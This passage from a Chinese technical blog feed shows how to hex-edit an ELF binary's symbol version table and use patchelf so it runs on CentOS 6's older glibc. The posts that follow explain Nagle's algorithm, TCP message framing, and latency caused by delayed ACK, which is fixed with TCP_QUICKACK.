&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从上面的输出可以看到程序使用了 glibc 2.14 版本的 memcpy 函数和 glibc 2.17 版本的 clock_gettime 函数，而这两个常用的函数按说应该是 glibc 很早就已经支持了的，我们可以确认一下当前系统 glibc 提供的符号版本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos6-dev ~]# objdump -T &amp;#x2F;lib64&amp;#x2F;libc.so.6 | grep memcpy
0000000000091300  w   DF .text  0000000000000009  GLIBC_2.2.5 wmemcpy
0000000000101070 g    DF .text  000000000000001b  GLIBC_2.4   __wmemcpy_chk
00000000000896b0 g    DF .text  0000000000000465  GLIBC_2.2.5 memcpy
00000000000896a0 g    DF .text  0000000000000009  GLIBC_2.3.4 __memcpy_chk
[root@centos6-dev ~]# objdump -T &amp;#x2F;lib64&amp;#x2F;libc.so.6 | grep clock_gettime
000000000038f800 g    DO .bss   0000000000000008  GLIBC_PRIVATE __vdso_clock_gettime
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里可以看出 CentOS 6 的 glibc 库提供的 memcpy 实现是 2.2.5 版本的，另外 libc 没有直接实现 clock_gettime 函数，因为老版本 glibc 里 clock_gettime 是由 librt 库提供 clock_gettime 支持的，而且同样也是 2.2.5 版本：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos6-dev ~]# objdump -T &amp;#x2F;lib64&amp;#x2F;librt.so.1 | grep clock_gettime
0000000000000000      DO *UND*  0000000000000000  GLIBC_PRIVATE __vdso_clock_gettime
0000000000003e70 g    DF .text  000000000000008b  GLIBC_2.2.5 clock_gettime
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看过这里就基本明白了，第三方程序的开发者是在自带新版本 glibc 的 Linux 系统上编译的，memcpy 和 clock_gettime 的实现默认使用了该系统上 glibc 所提供的最新版本，这样在低版本 glibc 系统中就无法正常运行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;解决方法&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;虽然我们无法重新编译第三方程序，但如果可以修改 ELF 文件强制让 LD 库加载程序时使用老版本的 memcpy 和 clock_gettime 实现，应该就可以避免升级 glibc。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;分析 ELF&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先用 readelf 命令查看 ELF 的符号表，由于该命令输出非常多，这里只贴出我们关心的信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos6-dev ~]# readelf -sV tester
Symbol table &amp;#x27;.dynsym&amp;#x27; contains 4583 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
    ......
    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND memcpy@GLIBC_2.14 (5)
    ......
    67: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND clock_gettime@GLIBC_2.17 (16)
    ......
  4582: 0000000000794260    70 FUNC    WEAK   DEFAULT   12 _ZNSt15basic_streambufIwS

Version symbols section &amp;#x27;.gnu.version&amp;#x27; contains 4583 entries:
 Addr: 000000000045b508  Offset: 0x05b508  Link: 4 (.dynsym)
  000:   0 (*local*)       0 (*local*)       2 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)
  004:   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)
  008:   4 (GLIBC_2.3.2)   3 (GLIBC_2.2.5)   0 (*local*)       5 (GLIBC_2.14)
  ......
  040:   2 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)   3 (GLIBC_2.2.5)  10 (GLIBC_2.17)
  ......
  11e0:   1 (*global*)      1 (*global*)      1 (*global*)      1 (*global*)
  11e4:   1 (*global*)      1 (*global*)      1 (*global*)

Version needs section &amp;#x27;.gnu.version_r&amp;#x27; contains 6 entries:
 Addr: 0x000000000045d8d8  Offset: 0x05d8d8  Link: 5 (.dynstr)
  000000: Version: 1  File: ld-linux-x86-64.so.2  Cnt: 1
  0x0010:   Name: GLIBC_2.3  Flags: none  Version: 17
  0x0020: Version: 1  File: libgcc_s.so.1  Cnt: 3
  0x0030:   Name: GCC_3.0  Flags: none  Version: 13
  0x0040:   Name: GCC_3.3  Flags: none  Version: 11
  0x0050:   Name: GCC_4.2.0  Flags: none  Version: 10
  0x0060: Version: 1  File: libm.so.6  Cnt: 1
  0x0070:   Name: GLIBC_2.2.5  Flags: none  Version: 8
  0x0080: Version: 1  File: libpthread.so.0  Cnt: 2
  0x0090:   Name: GLIBC_2.3.2  Flags: none  Version: 15
  0x00a0:   Name: GLIBC_2.2.5  Flags: none  Version: 7
  0x00b0: Version: 1  File: libc.so.6  Cnt: 10
  0x00c0:   Name: GLIBC_2.8  Flags: none  Version: 19
  0x00d0:   Name: GLIBC_2.9  Flags: none  Version: 18
  0x00e0:   Name: GLIBC_2.17  Flags: none  Version: 16
  0x00f0:   Name: GLIBC_2.4  Flags: none  Version: 14
  0x0100:   Name: GLIBC_2.3.4  Flags: none  Version: 12
  0x0110:   Name: GLIBC_2.3  Flags: none  Version: 9
  0x0120:   Name: GLIBC_2.7  Flags: none  Version: 6
  0x0130:   Name: GLIBC_2.14  Flags: none  Version: 5
  0x0140:   Name: GLIBC_2.3.2  Flags: none  Version: 4
  0x0150:   Name: GLIBC_2.2.5  Flags: none  Version: 3
  0x0160: Version: 1  File: libdl.so.2  Cnt: 1
  0x0170:   Name: GLIBC_2.2.5  Flags: none  Version: 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们可以在 ELF 的 .dynsym 动态符号表中看到程序用于动态链接的所有导入导出符号，memcpy 和 clock_gettime 后面括号里的数字就是十进制的版本号（分别为 5 和 16），而我们需要格外关注的是下面的 .gnu.version 和 .gnu.version_r 符号版本信息段。&lt;&#x2F;p&gt;
&lt;p&gt;.gnu.version 表包含所有动态符号的版本信息，.dynsym 动态符号表中的每个符号都可以在 .gnu.version 中看到对应的条目（.dynsym 中一共 4583 个符号刚好与 .gnu.version 的结束位置 0x11e7 相等）。&lt;&#x2F;p&gt;
&lt;p&gt;从上面的输出可以看到 .gnu.version 表从 0x05b508 偏移量开始，我们可以看看对应偏移量的十六进制数据：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
0005B500                          00 00 00 00 02 00 03 00          ........
0005B510  03 00 03 00 03 00 03 00 04 00 03 00 00 00 05 00  ................
0005B520  03 00 03 00 06 00 00 00 03 00 07 00 08 00 08 00  ................
0005B530  03 00 09 00 03 00 03 00 0A 00 07 00 03 00 00 00  ................
0005B540  03 00 03 00 0B 00 07 00 03 00 03 00 00 00 07 00  ................
0005B550  00 00 03 00 03 00 03 00 03 00 0C 00 09 00 00 00  ................
0005B560  07 00 03 00 03 00 07 00 03 00 07 00 0C 00 00 00  ................
0005B570  0D 00 03 00 07 00 07 00 0E 00 0F 00 03 00 0D 00  ................
0005B580  03 00 03 00 03 00 03 00 02 00 03 00 03 00 10 00  ................
0005B590  03 00 00 00 03 00 07 00 08 00 07 00 07 00 03 00  ................
0005B5A0  03 00 0D 00 03 00 00 00 03 00 03 00 03 00 00 00  ................
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;.gnu.version 中的每个条目占用两个字节，其值为符号的版本，由此可以看到其中第 0x0b 个符号（也就是 .dynsym 表中的 memcpy@GLIBC_2.14 符号）的偏移量即为 0x05b51e（0x05b508 + 0x0b x 2），该偏移量的值 0x0005 也刚好和 .dynsym 表中的值对应，当然 clock_gettime 符号对应的偏移量 0x05b58e 的值 0x0010 同样也是如此。&lt;&#x2F;p&gt;
&lt;p&gt;下面关键的 .gnu.version_r 表示二进制程序实际依赖的库文件版本，从输出中也能看到 .gnu.version_r 表是按照不同的库文件进行分段显示的，每个条目占用 0x10 也就是 16 个字节，该表是从 0x05d8d8 偏移量开始，我们看看 GLIBC_2.17 也就是 0x05d9b8 处的十六进制数据：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
0005D9B0  B0 70 03 00 10 00 00 00 97 91 96 06 00 00 10 00  °p......—‘–.....
0005D9C0  BA 70 03 00 10 00 00 00 14 69 69 0D 00 00 0E 00  ºp.......ii.....
0005D9D0  C5 70 03 00 10 00 00 00 74 19 69 09 00 00 0C 00  Åp......t.i.....
0005D9E0  CF 70 03 00 10 00 00 00 13 69 69 0D 00 00 09 00  Ïp.......ii.....
0005D9F0  6A 70 03 00 10 00 00 00 17 69 69 0D 00 00 06 00  jp.......ii.....
0005DA00  DB 70 03 00 10 00 00 00 94 91 96 06 00 00 05 00  Ûp......”‘–.....
0005DA10  E5 70 03 00 10 00 00 00 72 19 69 09 00 00 04 00  åp......r.i.....
0005DA20  9A 70 03 00 10 00 00 00 75 1A 69 09 00 00 03 00  šp......u.i.....
0005DA30  8E 70 03 00 00 00 00 00 01 00 01 00 D8 03 00 00  Žp..........Ø...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;.gnu.version_r 表中每个条目是 16 个字节的 Elfxx_Vernaux 结构体，其声明如下（Elfxx_Half 占用 2 个字节，Elfxx_Word 占用 4 个字节）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;typedef struct {
    Elfxx_Word    vna_hash;
    Elfxx_Half    vna_flags;
    Elfxx_Half    vna_other;
    Elfxx_Word    vna_name;
    Elfxx_Word    vna_next;
} Elfxx_Vernaux;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;vna_hash 为 4 个字节的库名称（也就是上面的 GLIBC_2.17 字符串）的 hash 值，vna_other 为对应的 .gnu.version 表中符号的版本值，vna_name 指向库名称字符串的偏移量（也可以在 ELF 头中找到），vna_next 为下一个条目的位置（一般固定为 0x00000010）。&lt;&#x2F;p&gt;
&lt;p&gt;由上面的输出我们可以看到 GLIBC_2.17 对应的 0x05d9b8 处的开始的 4 个字节 vna_hash hash 值为 0x06969197，而 vna_other 的值 0x0010（输出里的 Version: 16）也与 .gnu.version 中 clock_gettime 符号的值一致。同样 GLIBC_2.14 也与 memcpy 符号的值相符。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;修改 ELF 符号表&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于 Linux 系统中的 LD 库（也就是 &#x2F;lib64&#x2F;ld-linux-x86-64.so.2 库）加载 ELF 时检查 .gnu.version_r 表中的符号，我们可以使用任何一款十六进制编辑器来修改 .gnu.version_r 表中的符号值来强制使用老版本的函数实现。&lt;&#x2F;p&gt;
&lt;p&gt;首先我们发现 .gnu.version_r 的 libc.so.6 段下面有 10 个条目，最后一个则是我们需要的 GLIBC_2.2.5 版本的符号（从上面的十六进制输出中我们可以看到该符号的偏移量为 0x05da28，vna_hash 值为 0x09691A75，vna_other 版本值为 0x0003，vna_name 字符串名称指向 0003708E 地址），因为这样我们才可以在不修改 ELF 文件大小的前提下直接将 libc.so.6 段下的其它高版本条目指向老版本条目的值。&lt;&#x2F;p&gt;
&lt;p&gt;例如 GLIBC_2.17 对应的 0x05d9b8 偏移量，我们可以直接将 vna_hash 值改为 GLIBC_2.2.5 的 0x09691A75 值，将 vna_other 改为 0003708E 值，为了保持和 .gnu.version 表中的版本值一致，这里我们就不修改 vna_other 值了。&lt;&#x2F;p&gt;
&lt;p&gt;对于 GLIBC_2.14 偏移量我们也修改成同样的值，修改保存之后的 ELF 文件再使用 readelf 命令检查就能看到变化了（只列出了修改的 .gnu.version-r 表）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos6-dev ~]# readelf -sV tester
......
Version needs section &amp;#x27;.gnu.version_r&amp;#x27; contains 6 entries:
 Addr: 0x000000000045d8d8  Offset: 0x05e8d8  Link: 2 (.dynstr)
  000000: Version: 1  File: ld-linux-x86-64.so.2  Cnt: 1
  0x0010:   Name: GLIBC_2.3  Flags: none  Version: 17
  0x0020: Version: 1  File: libgcc_s.so.1  Cnt: 3
  0x0030:   Name: GCC_3.0  Flags: none  Version: 13
  0x0040:   Name: GCC_3.3  Flags: none  Version: 11
  0x0050:   Name: GCC_4.2.0  Flags: none  Version: 10
  0x0060: Version: 1  File: libm.so.6  Cnt: 1
  0x0070:   Name: GLIBC_2.2.5  Flags: none  Version: 8
  0x0080: Version: 1  File: libpthread.so.0  Cnt: 2
  0x0090:   Name: GLIBC_2.3.2  Flags: none  Version: 15
  0x00a0:   Name: GLIBC_2.2.5  Flags: none  Version: 7
  0x00b0: Version: 1  File: libc.so.6  Cnt: 10
  0x00c0:   Name: GLIBC_2.8  Flags: none  Version: 19
  0x00d0:   Name: GLIBC_2.9  Flags: none  Version: 18
  0x00e0:   Name: GLIBC_2.2.5  Flags: none  Version: 16
  0x00f0:   Name: GLIBC_2.4  Flags: none  Version: 14
  0x0100:   Name: GLIBC_2.3.4  Flags: none  Version: 12
  0x0110:   Name: GLIBC_2.3  Flags: none  Version: 9
  0x0120:   Name: GLIBC_2.7  Flags: none  Version: 6
  0x0130:   Name: GLIBC_2.2.5  Flags: none  Version: 5
  0x0140:   Name: GLIBC_2.3.2  Flags: none  Version: 4
  0x0150:   Name: GLIBC_2.2.5  Flags: none  Version: 3
  0x0160: Version: 1  File: libdl.so.2  Cnt: 1
  0x0170:   Name: GLIBC_2.2.5  Flags: none  Version: 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;patchelf 修改 ELF 文件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一般的程序如果只使用了高版本 memcpy 的话，一般这样修改之后程序就可以运行了。但不巧我使用的第三方程序还使用了高版本 glibc 中的 clock_gettime，只是这样修改的话由于 CentOS 6 的 libc 2.12 库并没有提供 clock_gettime，运行时还是会报错。&lt;&#x2F;p&gt;
&lt;p&gt;这个时候我们就需要请出大杀器 PatchELF 了，这个小工具由 NixOS 团队开发，可以直接增加、删除、替换 ELF 文件依赖的库文件，使用起来也非常简单。&lt;&#x2F;p&gt;
&lt;p&gt;检出 PatchELF 的源代码，按照 GitHub 仓库上介绍的步骤编译安装就可以使用了（一般发行版自带的 patchelf 工具版本较老不支持一些新的功能）。&lt;&#x2F;p&gt;
&lt;p&gt;虽然 CentOS 6 的 libc 库没有提供 clock_gettime 实现，但好在 glibc 自带的 librt 库里还是提供了的，因此我们可以使用 patchelf 工具修改原版的程序文件，让程序优先加载 librt 库，这样程序就能正确加载 clock_gettime 符号了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos6-dev ~]# patchelf --add-needed librt.so.1 tester
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后按照上面介绍的方法用十六进制编辑器修改新生成的 ELF 文件的 .gnu.version_r 表（因为 patchelf 运行之后新 ELF 文件的符号表就和之前的不一样了），将 GLIBC_2.17 和 GLIBC_2.14 统一改为 GLIBC_2.2.5 符号，保存 ELF 文件之后就可以看到效果了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@centos6-dev ~]# ldd tester
        linux-vdso.so.1 =&amp;gt;  (0x00007fffc17ee000)
        librt.so.1 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;librt.so.1 (0x00007f7f84dca000)
        libpthread.so.0 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libpthread.so.0 (0x00007f7f84bad000)
        libOpenCL.so.1 =&amp;gt; &amp;#x2F;usr&amp;#x2F;lib64&amp;#x2F;libOpenCL.so.1 (0x00007f7f8498f000)
        libdl.so.2 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libdl.so.2 (0x00007f7f8478b000)
        libm.so.6 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libm.so.6 (0x00007f7f84507000)
        libgcc_s.so.1 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libgcc_s.so.1 (0x00007f7f842f1000)
        libc.so.6 =&amp;gt; &amp;#x2F;lib64&amp;#x2F;libc.so.6 (0x00007f7f83f5d000)
        &amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007f7f84fd2000)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从 ldd 命令的输出中可以看到修改后的程序会加载 librt 库，而且也没有 glibc 版本的报错了，经过测试程序运行起来也没有问题了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>延时 ACK 与 Nagle 算法结合</title>
        <published>2024-08-19T00:00:00+00:00</published>
        <updated>2024-08-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/延时-ack-与-nagle-算法结合-2/"/>
        <id>https://vercel.juzhong.asia/obsidian/延时-ack-与-nagle-算法结合-2/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/延时-ack-与-nagle-算法结合-2/">&lt;h1 id=&quot;yan-shi-ack-yu-nagle-suan-fa-jie-he&quot;&gt;延时 ACK 与 Nagle 算法结合&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;nagle-suan-fa&quot;&gt;Nagle 算法&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jojop&#x2F;p&#x2F;14376423.html#1909510156&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;我们以 SSH 协议举例，通常在 SSH 连接中，单次击键就会引发数据流的传输。如果使用 IPv4，一次按键会生成约 88 字节大小的 TCP&#x2F;IPv4 包（使用安全加密和认证）：20 字节的 IP 头部，20 字节的 TCP 头部（假设没有选项），数据部分为 48 字节。这些小包（称为微型报（tinygram））会造成相当高的网络传输代价。也就是说，与包的其他部分相比，有效的应用数据所占比例甚微。&lt;&#x2F;p&gt;
&lt;p&gt;上述问题不会对局域网产生很大影响，因为大部分局域网不存在拥塞，而且这些包无需传输很远。然而对于广域网来说则会加重拥塞，严重影响网络性能。John Nagle 提出了一种简单有效的解决方法，现在称其为 Nagle 算法。下面首先介绍该算法是怎样运行的：&lt;&#x2F;p&gt;
&lt;p&gt;Nagle 算法的基本定义是&lt;strong&gt;任一时刻，最多只能有一个未被确认的小段&lt;&#x2F;strong&gt;。所谓“小段”，指的是长度小于 MSS 尺寸的数据块，而未被确认则是指没有收到对方的 ACK 数据包。Nagle 算法的规则（参考 tcp_output.c 文件里 tcp_nagle_check 函数注释）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果包长度达到 MSS，则允许发送；&lt;&#x2F;li&gt;
&lt;li&gt;如果该数据包含有 FIN，则允许发送；&lt;&#x2F;li&gt;
&lt;li&gt;设置了 TCP_NODELAY 选项，则允许发送；&lt;&#x2F;li&gt;
&lt;li&gt;未设置 TCP_CORK 选项时，若所有发出去的小数据包（包长度小于 MSS）均被确认，则允许发送；&lt;&#x2F;li&gt;
&lt;li&gt;上述条件都未满足，但发送了超时（一般为 200 ms），则立即发送。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;该算法的精妙之处在于它实现了&lt;strong&gt;自时钟（self-clocking）控制&lt;&#x2F;strong&gt;：ACK 返回得快，数据传输也越快。在相对高延迟的广域网中，更需要减少微型报的数目，该算法使得单位时间内发送的报文段数据更少。也就是说，RTT 控制着发包速率。&lt;&#x2F;p&gt;
&lt;p&gt;“粘包”问题的缘由可能发生在发送端也可能发生在接收端：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;由 Nagle 算法造成的发送端的粘包：Nagle 算法是一种改善网络传输效率的算法。简单来说就是当我们提交一段数据给 TCP 发送时，TCP 并不立刻发送此段数据，而是等待一小段时间看看在等待期间是否还有要发送的数据，若有则会一次把这好几段数据发送出去。&lt;&#x2F;li&gt;
&lt;li&gt;接收端接受不及时造成的接收端粘包：TCP 会把接收到的数据存在自己的缓冲区中，然后通应用层取数据。当应用层由于某些原因不能及时地把 TCP 的数据取出来，就会造成 TCP 缓冲区中存放了几段数据。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;nian-bao-de-ben-zhi&quot;&gt;粘包的本质&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jojop&#x2F;p&#x2F;14376423.html#1847290227&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;上层通过 TCP 传递的数据好像被胶水黏在了一起，所以有了所谓的 TCP 粘包问题。但是在这里我们需要纠正的一个点是：TCP 是流协议，根本不存在所谓的粘包一说。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;send(2) Upon successful completion, the number of types which were send is returned.&lt;&#x2F;p&gt;
&lt;p&gt;Otherwise, -1 is returned and the global variable errno is set to indicate the error.&lt;&#x2F;p&gt;
&lt;p&gt;recv(2) These calls return the number of bytes received, or -1 if an error occurred.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;文档中已提及：&lt;code&gt;send&lt;&#x2F;code&gt; 和 &lt;code&gt;recv&lt;&#x2F;code&gt; 的返回值表示成功发送&#x2F;接收端字节数。所以对于应用层来说，黏包确实是个伪命题，TCP 本来就是一个基于字节流的协议而不是消息包的协议，它只会将你的数据编程字节流发到对面去，而且保证顺序不会乱，而对于字节流的解析，就需要我们自己来搞定了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jie-jue-nian-bao-wen-ti&quot;&gt;解决粘包问题&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jojop&#x2F;p&#x2F;14376423.html#4232680807&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;解决黏包问题的最关键一步就是确定消息边界。首先我们需要明白什么是消息，在我认为，消息就是一段有意义的信息报文，例如一次 HTTP 请求或者像我们上面代码中所要发送的 &lt;code&gt;Hello World! This is a test demo.&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;所以我们要找到消息边界，这并不难理解，确定消息边界就是确定消息的开始或者结束。简单地说，就三个办法：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;定长消息：协议提前约定好包的长度为多少，每当接收端接收到固定长度的字节就确定一个包；&lt;&#x2F;li&gt;
&lt;li&gt;消息分隔符：利用特殊符号标志着消息的开始或者结束，例如 HTTP 协议中的换行符；&lt;&#x2F;li&gt;
&lt;li&gt;长度前缀：先发送N个字节代表包的大小（注意大端和小端问题），后续解析也按长度读取解析。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;yan-shi-ack-yu-nagle-suan-fa-jie-he-1&quot;&gt;延时 ACK 与 Nagle 算法结合&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;jojop&#x2F;p&#x2F;14376423.html#2290940578&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;延时 ACK 是指接收端不会每个包都发送一次 ACK 确认，而是当接收到一个包后延迟一段时间，以期望这段时间内仍有包被接收到，这是就可以只发送一次 ACK 确认之前收到的数据包，以减少网络带宽压力。&lt;&#x2F;p&gt;
&lt;p&gt;但若将延时 ACK 与 Nagle 算法直接结合使用，得到的效果可能不尽如人意。考虑以下情景，客户端使用延时 ACK 方法发送一个对服务器的请求，而服务端的响应数据并不适合在同一个包中传输，如下图所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;delayed-ack-nagle&#x2F;delayed-ack-nagle-deadlock.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;从图中可以看到，在接收到来自服务器端端两个包以后，客户端并不立即发送 ACK，而是处于等待状态，希望有数据一同捎带发送。通常情况下，TCP 在接收到两个全长的数据包后就应返回一个 ACK，但这里并非如此。在服务器端，由于使用了 Nagle 算法，直到收到 ACK 前都不能发送新数据，因为任一时刻只允许至多一个小数据包在传。因此延时 ACK 与 Nagle 算法的结合导致了某种程度的死锁（两端互相等待对方作出行动），当然这种死锁并不是永久的，在延时 ACK 计时器或者响应端超时之后，将会得到解除。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>延时 ACK 与 Nagle 算法结合</title>
        <published>2024-08-19T00:00:00+00:00</published>
        <updated>2024-08-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/延时-ack-与-nagle-算法结合/"/>
        <id>https://vercel.juzhong.asia/obsidian/延时-ack-与-nagle-算法结合/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/延时-ack-与-nagle-算法结合/">&lt;h2 id=&quot;linuxxia-tcpyan-chi-que-ren-delayed-ack-ji-zhi-dao-zhi-de-shi-yan-wen-ti-fen-xi-teng-xun-yun-kai-fa-zhe-she-qu-teng-xun-yun&quot;&gt;Linux下TCP延迟确认(Delayed Ack)机制导致的时延问题分析-腾讯云开发者社区-腾讯云&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;案例一：&lt;&#x2F;strong&gt; 同事随手写个压力测试程序，其实现逻辑为：每秒钟先连续发N个132字节的包，然后连续收N个由后台服务回显回来的132字节包。其代码简化如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;char sndBuf[132];
char rcvBuf[132];

while (1) {
    for (int i = 0; i &amp;lt; N; i++){
        send(fd, sndBuf, sizeof(sndBuf), 0);
        ...
    }

    for (int i = 0; i &amp;lt; N; i++) {
        recv(fd, rcvBuf, sizeof(rcvBuf), 0);
        ...
    }
    sleep(1);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在实际测试中发现，当N大于等于3的情况，第2秒之后，每次第三个recv调用，总会阻塞40毫秒左右，但在分析Server端日志时，发现所有请求在Server端处理时耗均在2ms以下。&lt;&#x2F;p&gt;
&lt;p&gt;当时的具体定位过程如下：先试图用strace跟踪客户端进程，但奇怪的是：一旦&lt;code&gt;strace attach&lt;&#x2F;code&gt;上进程，所有收发又都正常，不会有阻塞现象，一旦退出strace，问题重现。经同事提醒，很可能是strace改变了程序或系统的某些东西(这个问题现在也还没搞清楚)，于是再用tcpdump抓包分析，发现Server后端在回现应答包后，Client端并没有立即对该数据进行ACK确认，而是等待了近40毫秒后才确认。经过Google，并查阅《TCP&#x2F;IP详解卷一:协议》得知，此即TCP的延迟确认(Delayed Ack)机制。&lt;&#x2F;p&gt;
&lt;p&gt;其解决办法如下：在recv系统调用后，调用一次&lt;code&gt;setsockopt&lt;&#x2F;code&gt;函数，设置&lt;code&gt;TCP_QUICKACK&lt;&#x2F;code&gt;。最终代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;char sndBuf[132];
char rcvBuf[132];

while (1) {
    for (int i = 0; i &amp;lt; N; i++) {
        send(fd, sndBuf, 132, 0);
        ...
    }

    for (int i = 0; i &amp;lt; N; i++) {
        recv(fd, rcvBuf, 132, 0);
        setsockopt(fd, IPPROTO_TCP, TCP_QUICKACK, (int[]){1}, sizeof(int));
    }
    sleep(1);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
